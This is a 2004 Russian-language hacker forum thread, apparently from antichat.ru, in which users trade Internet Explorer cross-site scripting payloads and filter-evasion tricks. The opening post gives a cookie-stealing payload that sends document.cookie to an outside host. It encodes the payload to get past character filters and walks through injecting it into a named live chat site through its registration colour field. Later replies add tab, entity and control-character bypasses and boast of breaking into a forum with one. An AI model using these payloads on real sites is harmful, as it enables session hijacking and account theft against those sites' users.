Чаты Статья

Discussion in 'Веб-уязвимости' started by Guest, 6 Jun 2004.

  1. Guest

    Guest Guest

    Reputations:
    0
    Захожу в инет с разных мест! И постоянно приходится вспоминать разные баги IE...

    Может мою доку разместят на antichat.ru (чтобы каждый раз не париться):
    ------------------------------------------------------------
    Тэг img и image работают одинаково (об <image> мало кто знает).
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src="1.png" alt="" border="0">
    <image src="1.png" alt="" border="0">[/QUOTE]<span id='postcolor'>

    Слеш вместо пробела.
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><image/src="1.png"/alt="Подсказка"/border="0">[/QUOTE]<span id='postcolor'>

    Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><image src="" alt="Моя подсказка" border="0">
    <image src="" alt='Моя подсказка' border="0">
    <image src="" alt=`Моя подсказка` border="0">
    <image src="" alt=Подсказка border="0">[/QUOTE]<span id='postcolor'>

    Спецсимволы в значениях параметров автоматический переводятся обратно.
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert("ok")>
    <meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
    <meta http-equiv=Refresh content=0;url=javascript:alert(&amp;quot;ok&amp;quot;)>
    <meta http-equiv=Refresh content=0;url=javascript:alert(&amp;#039;ok&amp;#039;)>
    <meta http-equiv=Refresh content=0;url=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#111;&amp;#107;&amp;#39;&amp;#41;>[/QUOTE]<span id='postcolor'>

    Также можно использовать слеш (только в этом случае эти слеши будут частью текста).
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert(/ok/)>[/QUOTE]<span id='postcolor'>

    Несколько способов запустить JavaScript.
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">< script>alert('ok')</script>
    < script src=1.js></script>
    <body onLoad=alert('ok')>
    <meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
    <image src=1.png onload=alert('ok')>
    <image src=javascript:alert('ok')>
    <image src="" onerror=alert('ok')>
    <hr style=background:url(javascript:alert('ok'))>
    <span style=top:expression(eval("alert('ok')"))></span>
    <style type="text/css">@import url(javascript:alert('ok'));</style>
    <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
    <embed src=javascript:alert('ok');this.avi>
    <embed src=javascript:alert('ok');this.wav>
    <iframe src=javascript:alert('ok')>[/QUOTE]<span id='postcolor'>

    Операторы JavaScript из тэга STYLE надо разделять &quot;\;&quot;.
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>[/QUOTE]<span id='postcolor'>

    Как украсть cookie если скрипты блокируют символы &lt; &gt; &quot; ' &amp; ???
    1. Скрипт для отсылки cookie:
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><img src=javascript:location.href='http:\/\/antichat.ru\/cgi-bin\/s.jpg?'+document.cookie>[/QUOTE]<span id='postcolor'>
    Все / необходимо экранировать, т.к. мы будем использовать unescape(/текст/);
    2. Кодируем все что надо (символы которые фильтрует чат, форум и т.п.):
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fantichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E[/QUOTE]<span id='postcolor'>
    3. Теперь собираем инъекцию (пример из http://www.dmbchat.ru):
    При регистрации укажите свой цвет как: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">FF z=`[/QUOTE]<span id='postcolor'>
    Заходим в чат и посылаем: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">` style=`background:url(javascript:top.frames[3].document.write(unescape(/%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fantichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E/)))` [/QUOTE]<span id='postcolor'>

    Как видно, мы не использовали ни одного запрещенного символы!
    После исполнения кода в 4ом фрейме будет html-код: /&lt;img src=javascript:...&gt;/
    Который и выполнит наш скрипт!!!

    Совет по http://www.dmbchat.ru:
    Там в списке пользователей рядом с каждым именем есть пагоны (это их звания), так вот – Прапорщики могут банить аж на год =)&lt;/b&gt;
     
  2. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Оформи вразумительно, тогда разместим...

    PS
    только немного нужно подправить кое-что , кое-что добавить...
    Например в выражении &lt;span style=top:expression(eval(&quot;alert('ok')&quot;))&gt;&lt;/span&gt; функция eval лишняя.

    А вот про знак / я чесно говоря не знал &nbsp;:)
    Откуда такая инфа? Сам нашел?
     
  3. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    Да про слеши я сам нашел! Это IE так криво регулярные выражения обрабатывает! =)

    Я сделал html-файл со статьей, куда ее послать?
     
  4. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Все таки этот слеш не всегда заменяет пробел ...

    Например такая конструкция работает:

    &lt;a href=javascript:ins(&quot;Dzzz =`&quot;)&gt;dddd&lt;/a&gt; &nbsp;` style=background:url(javascript:alert()); &nbsp; &lt;/td&gt;

    А вот такая - нет:

    &lt;a href=javascript:ins(&quot;Dzzz/=`&quot;)&gt;dddd&lt;/a&gt; &nbsp;` style=background:url(javascript:alert()); &nbsp; &lt;/td&gt;
     
  5. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июня 06 2004,20:58)</td></tr><tr><td id="QUOTE">Все таки этот слеш не всегда заменяет пробел ...

    Например такая конструкция работает:

    &lt;a href=javascript:ins(&quot;Dzzz =`&quot;)&gt;dddd&lt;/a&gt;  ` style=background:url(javascript:alert());   &lt;/td&gt;

    А вот такая - нет:

    &lt;a href=javascript:ins(&quot;Dzzz/=`&quot;)&gt;dddd&lt;/a&gt;  ` style=background:url(javascript:alert());   &lt;/td&gt;[/QUOTE]<span id='postcolor'>
    слеши могут заменить пробелы только если значения ограничены (ковычками или апосстрофами)

    &lt;a href=&quot;javascript:ins('Dzzz&quot;/=`')&quot;&gt;dddd&lt;/a&gt;  ` style=background:url(javascript:alert());   &lt;/td&gt;
     
  6. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    В принципе если пробелы не проходят, то проходит табуляция..

    &lt;a href=javascript:ins(&quot;Dzzz =`&quot;)&gt;dddd&lt;/a&gt; &nbsp;` style=background:url(javascript:alert()); &nbsp; &lt;/td&gt;
     
  7. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    В принципе, если используются регулярные выражения типа &quot;[^\S]&quot;, то это отфильтровывает как пробелы, так и остальные non-white-space character, а именно \f\n\r\t\v\x85, т.е. и табуляцию тоже...
     
  8. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Кстати, сегодня копался в одном форуме (не скажу в каком [​IMG] ) , и обнаружил гениальную вещь. Известно, что если между двоеточием и словом javasciprt стоит пробел, то скрипт не работает:
    &lt;img src=&quot;javascript :alert()&quot;&gt;
    А вот если перед двоеточием стоит табуляция, то прокатывает на ура:
    &lt;img src=&quot;javascript :alert()&quot;&gt; (после javascript стоит табуляция)
    или так тоже катит:
    &lt;img src=&quot;javascript&amp;#09:alert()&quot;&gt;

    А ведь известно, что многие форумы фильтруют именно такое сочетание javascript:. А вот &nbsp;сочетание javascript&amp;#09: как правило не фильтруется [​IMG]

    Как результат - форум сразу сдался ))

    (Спасибо Егорычу за напоминание о табе)
     
  9. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    &lt;img src=&quot;javascript&amp;#9;:alert()&quot;&gt;
    &lt;img src=&quot;javascript&amp;#10;:alert()&quot;&gt;
    &lt;img src=&quot;javascript&amp;#13;:alert()&quot;&gt;
    &lt;img src=&quot;javascript
    :alert()&quot;&gt;
    Причем можно использовать любое их количество и в любых комбинациях!

    &lt; script&gt;
    document.write('&lt;img\13src=&quot;javascript:alert(1)&quot;\13alt=&quot;текст&quot;\13border=&quot;0&quot;&gt;');
    &lt;/script&gt;
    \13 это символ с кодом 11 в восьмеричной системе.
    Кроме этого можно использовать символы с кодами: 9-13, 32, 47 (внимание: 11 и 47 не входят во множество space, word и digit).
    &lt; script&gt;
    document.write('&lt;a href=javascript:ins(&quot;Dzzz\13=`&quot;)&gt;dddd&lt;/a&gt;  ` style=background:url(javascript:alert());   &lt;/td&gt;');
    &lt;/script&gt;

    =)
     
  10. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">&lt;img src=&quot;javascript&amp;#9;:alert()&quot;&gt;
    &lt;img src=&quot;javascript&amp;#10;:alert()&quot;&gt;
    &lt;img src=&quot;javascript&amp;#13;:alert()&quot;&gt;[/QUOTE]<span id='postcolor'>
    Точка с запятой - лишние.
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">&lt;img src=&quot;javascript
    :alert()&quot;&gt;[/QUOTE]<span id='postcolor'>
    В постингах обычно возврат каретки либо преобразуется в &lt;BR&gt; либо заменяется на пробел, поэтому так обычно не катит.
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">&lt; script&gt;
    document.write('&lt;img\13src=&quot;javascript:alert(1)&quot;\13alt=&quot;текст&quot;\13border=&quot;0&quot;&gt;&#39[​IMG];
    &lt;/script&gt;
    \13 это символ с кодом 11 в восьмеричной системе.
    Кроме этого можно использовать символы с кодами: 9-13, 32, 47 (внимание: 11 и 47 не входят во множество space, word и digit).
    &lt; script&gt;
    document.write('&lt;a href=javascript:ins(&quot;Dzzz\13=`&quot;)&gt;dddd&lt;/a&gt; &nbsp;` style=background:url(javascript:alert()); &nbsp; &lt;/td&gt;&#39[​IMG];
    &lt;/script&gt;[/QUOTE]<span id='postcolor'>
    Это не катит, потому что работает только в write. А в write можно писать хоть в юникоде, хоть в escape....
     
  11. zFailure

    zFailure Elder - Старейшина

    Joined:
    6 Jun 2004
    Messages:
    163
    Likes Received:
    24
    Reputations:
    24
    2 Algol
    че так серова то? эж просто пример...

    и почему интересно не прокатит это:
    &lt;a href=javascript:get('user')&gt;user&lt;/a&gt;

    если вместо user зарегиться на user...z=
    где ... - это символ с кодом 11

    т.к. этот символ не входит в множество space (в php) возможно чат/форум проглотит это!
     
  12. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Возможно &nbsp;[​IMG]